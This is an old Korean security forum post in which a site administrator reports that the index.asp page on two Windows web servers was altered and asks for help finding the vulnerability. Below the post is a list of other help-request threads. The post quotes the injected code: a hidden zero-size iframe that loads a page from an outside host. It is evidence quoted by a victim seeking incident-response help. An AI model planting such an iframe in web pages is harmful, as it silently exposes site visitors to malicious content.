크래킹 피해

 423, 4/22 회원가입  로그인  
   soarrr
   윈도우 웹서버 파일 변경(해킹)에 관한 문의입니다..

http://www.hackerschool.org/HS_Boards/zboard.php?desc=desc&no=235 [복사]


안녕하세요.. 오래간만입니다..
잠시 활동하다 잠적해버리다 이렇게 염치없이 도움을 얻고자 돌아왔습니다..

다름이 아니라.. windows 서버 2대가 index.asp 파일이 변경되었습니다..
(<iframe src="http://kr.kr2cn.com/index.htm" width="0" height="0" frameborder="0"></iframe>) <- 삽입
코드 제일 하단에 iframe 으로 코드가 삽입되었는데..
변경날짜가 제각기 2005년 12월과 2006년 6월 경입니다..
물론 사고는 최근에 발생한것으로 추정됩니다만..(아닐수도 있습니다..)

우선 한 서버를 보면 알수없는 계정(s-1-5-21-1454055633-2705038733-166218806..) 이라고 index.asp 파일에 보안 정보에 계정이 추가되어있습니다..(win2003)
다른 서버는 2000에는 없구요..

각 각 파일이 생성돼었을 때 기준으로 로그를 첨부합니다..
어떤 취약점으로 가능했는지 조언좀 부탁드리겠습니다..
로그는 plaza.snu.ac.kr/~heeya/logs.zip  다운받으시면 됩니다..

멍멍님 잘 지내셨죠?? ^^ 문안인사 드립니다..
  Hit : 4520     Date : 2006/09/05 02:57


    
363   리버스텔넷 에 관하여[3]     youn5lee
 03/23 4665
362   ftp해킹 당한거 같은데 가능한 일인지요??[4]     ssamssam04
 07/19 4660
361   명령프롬프트에서 쳐봤는데요[3]     gkswls123
 11/04 4617
360     [re] 리눅스 크래킹 조언 부탁드립니다..[14]     멍멍
 06/28 4612
359   누가 우리 컴을 해킹합니다.[5]     tacomakr
 05/08 4592
358   해킹당한 것 같습니다[7]     midori68
 02/13 4587
357   해킹은 도대체..[11]     dlalstjqsee
 09/02 4559
356   저기 좀 도와줘요!!!!![2]     al00123
 02/24 4548
355   유동IP를 IP공유기로 쓰면.....넷버스는 어케 써야 하나여....[8]     bumno9173
 12/27 4538
354   야후닷컴 패스워드를 잊어버렸는데 찾을 수 있을까요?[2]     karah
 03/02 4537
353   해킹을 당한것 같아요.....[5]     gkswls123
 06/22 4519
  윈도우 웹서버 파일 변경(해킹)에 관한 문의입니다..     soarrr
 09/05 4519
351   이게 어떻게 된거죠? 보복말고 그냥 분석부탁[6]     moffattsgo
 10/29 4519
350   핑공격[2]     3augustin
 11/20 4516
349   windows 2000 server 해킹 ..... 당했습니다. 해결책좀[6]     adueosy
 03/20 4513
348   케스퍼스키있으면해킹위험없나요?[8]     beretta77
 12/09 4510
347     [re] 웹해킹이 정확이 무슨 뜻인가요?[1]     securityproof
 09/22 4503
346   아이피추적에 대하여[7]     undine04
 10/28 4500
345   복수하고싶어요 알려주세요[16]     dkvdmfh
 06/10 4500
344     [re] 제 다음멜 비번이 해킹당한것 같은데..비번도 해킹 할 수 있나여?     lucifertear
 02/14 4494
[1][2][3] 4 [5][6][7][8][9][10]..[22]

Copyright 1999-2024 Zeroboard / skin by Hackerschool.org / Secure Patch by Hackerschool.org